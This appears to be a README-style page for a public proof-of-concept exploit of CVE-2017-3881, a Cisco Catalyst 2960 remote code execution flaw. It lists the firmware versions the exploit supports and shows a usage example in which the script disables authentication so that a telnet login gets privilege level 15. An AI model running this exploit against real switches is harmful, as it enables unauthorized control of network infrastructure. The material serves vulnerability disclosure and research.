CVE-2017-3881 PoC — 多款Cisco产品IOS和IOS XE Software 输入验证错误漏洞

Description

Cisco Catalyst Remote Code Execution PoC

介绍

# PoC-CVE-2017-3881
Cisco Catalyst Remote Code Execution PoC

This repository contains Proof-Of-Concept code for exploiting remote code execution vulnerability disclosed by Cisco Systems on March 17th 2017 - <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp> 


Description
-------------
Exploit write-up: https://errorcybernews.com/2017/05/11/cisco-systems-merilis-update-switch/

RCE exploit code is available for Cisco Catalyst 2960 switch model. This exploit is firmware dependent. Two firmware versions are supported:

- 12.2(55)SE1  C2960-LANBASEK9-M
 
- 12.2(55)SE11 C2960-LANBASEK9-M

Denial of service code is available as a metasploit ruby module. This should work for most of the switches mentioned in the Cisco advisory (confirmation needed).

Usage example
-------------

```
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15
```


Thanks to Author:
------

Artem Kondratenko https://twitter.com/artkond

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